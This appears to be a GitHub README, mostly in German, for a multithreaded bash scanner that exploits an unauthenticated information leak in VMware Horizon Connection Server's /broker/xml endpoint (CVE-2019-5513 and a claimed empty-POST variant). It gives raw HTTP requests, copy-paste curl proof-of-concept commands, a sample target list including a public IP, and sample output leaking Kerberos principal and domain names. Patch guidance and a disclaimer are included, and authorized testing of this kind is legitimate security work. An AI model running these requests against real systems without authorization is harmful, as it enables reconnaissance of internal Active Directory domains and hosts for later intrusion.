
The VMWare Horizon Connection Server is often used as an internet-facing gateway to an organization’s virtual desktop environment (VDI). Until recently, most of these installations exposed the Connection Server’s internal name, the gateway’s internal IP address, and the Active Directory domain to unauthenticated attackers.
Ein leistungsstarker, multithreaded Scanner zur Erkennung von nicht authentifizierten Informationsweitergabeschwachstellen im VMware Horizon Connection Server /broker/xml-Endpunkt.
Der VMware Horizon Connection Server stellt einen XML-API-Endpunkt (/broker/xml) bereit, der vertrauliche interne Konfigurationsinformationen ohne Authentifizierung preisgeben kann. Dieser Scanner identifiziert schnell anfällige Server, indem er zwei Angriffsvektoren testet:
get-configuration-XML-Befehl.<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>[email protected]</name>
</broker-service-principal>
<domain>corporate-domain.example.com</domain>
</configuration>
</broker>
⚡ Funktionen
- Blitzschnell — Multithreaded Architektur (Standard 50 gleichzeitige Threads)
- Dual-Protokoll-Test — Überprüft sowohl HTTPS (Port 443) als auch HTTP (Port 80) gleichzeitig
- Zwei Angriffsvektoren — Testet leeren POST-Body (Zero-Day) + erstelltes XML (CVE-2019-5513)
- Niedrige Timeouts — Maximal 5 Sekunden pro Anfrage, 3 Sekunden Verbindungs-Timeout
- Klare Ausgabe — Farbcodierte Ergebnisse mit vollständiger XML-Antwort für anfällige Hosts
- Ergebnis-Export — Alle Ergebnisse in eine Datei speichern mit der Option -o
- Keine Abhängigkeiten — Verwendet nur curl (standardmäßig auf den meisten Systemen vorhanden)
🚀 Installation
bash
# Clone the repository
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git
cd vmware-horizon-scanner
# Make the script executable
chmod +x broker.sh
📖 Verwendung
Grundlegender Scan
bash
./broker.sh -d targets.txt
Scan mit benutzerdefinierten Threads (schneller)
bash
./broker.sh -d targets.txt -t 100
Scan und Ergebnisse speichern
bash
./broker.sh -d targets.txt -t 100 -o results.txt
Befehlszeilenoptionen
Option Beschreibung
-d <datei> Eingabedatei mit einer Liste von IP-Adressen/Hostnamen (eine pro Zeile)
-t <anzahl> Anzahl der Threads (Standard: 50)
-o <datei> Ausgabedatei zum Speichern der Ergebnisse
-h Hilfemeldung anzeigen
Eingabedateiformat (targets.txt)
text
# Comments start with #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com
📊 Beispielausgabe
text
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
VMware Horizon /broker/xml Schwachstellenscanner
Multithread-Modus - 50 Threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Test: Leerer POST (Zero-Day) + Erstelltes XML (CVE-2019-5513)
[*] Protokolle: HTTPS + HTTP (beide gleichzeitig getestet)
[*] Scanne 3 Hosts...
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNERABLE | HTTPS | EMPTY_POST
Response:
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>TEST-SERVER$@DOMAIN</name>
</broker-service-principal>
</configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[-] 192.168.1.100 | NOT VULNERABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNERABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] SCAN ABGESCHLOSSEN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Gesamte Hosts: 3
Anfällig: 2
Nicht anfällig: 1
Benötigte Zeit: 4 Sekunden
🔬 Testen mit Burp Suite
Für manuelle Tests hier die rohen Anfragen:
Test 1: Leerer POST-Body (Zero-Day)
http
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0
Test 2: Erstelltes XML (CVE-2019-5513)
http
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115
<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>
📝 PoC curl-Befehle
Leerer POST-Body
bash
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
-d ''
Erstelltes XML
bash
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
--data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'
🛡️ Behebung
Aktualisieren Sie VMware Horizon Connection Server auf eine gepatchte Version:
Version Behobene Version
7.x 7.8 oder höher
7.5.x 7.5.2 oder höher
6.x 6.2.8 oder höher
Zusätzliche Absicherungen:
Implementieren Sie Netzwerkzugriffskontrollen, um den Zugriff auf den /broker/xml-Endpunkt einzuschränken
Verwenden Sie WAF-Regeln, um nicht authentifizierte Anfragen an diesen Endpunkt zu blockieren
Überwachen Sie verdächtige POST-Anfragen an /broker/xml
🙏 Danksagungen
Dieses Tool basiert auf Forschung von folgenden Sicherheitsforschern:
Original CVE-2019-5513 Discovery — Atredis Partners
Cory Mathews of Critical Start (independent discovery)
Zero-Day-Entdeckung in diesem Tool
Der Angriffsvektor des leeren POST-Body wurde während zusätzlicher Forschung identifiziert. Das ursprüngliche CVE erforderte eine maßgeschneiderte XML-Nutzlast; dieses Tool testet auch die leere Body-Methode, die keine Nutzlastkonstruktion erfordert und noch einfacher auszuführen ist.
⚠️ Haftungsausschluss
Dieses Tool dient nur zu Bildungszwecken und autorisierten Sicherheitstests. Das unbefugte Scannen von Systemen, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis haben, kann gegen Gesetze und Vorschriften verstoßen. Die Autoren übernehmen keine Haftung für Missbrauch.
📄 Lizenz
MIT License
⭐ Unterstützung
Wenn Sie dieses Tool nützlich finden, geben Sie ihm bitte einen Stern auf GitHub!
| Attribut | Wert |
|---|
| CVE | CVE-2019-5513 |
| CVSS-Score | 5.3 (Mittel) |
| Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Betroffene Produkte | VMware Horizon Connection Server 7.x vor 7.8, 7.5.x vor 7.5.2, 6.x vor 6.2.8 |
| Preisgegebene Informationen | Active Directory-Domänenname, Dienstkontoname (Maschinenkonto), interne Hostnamen, Gateway-IP-Adressen |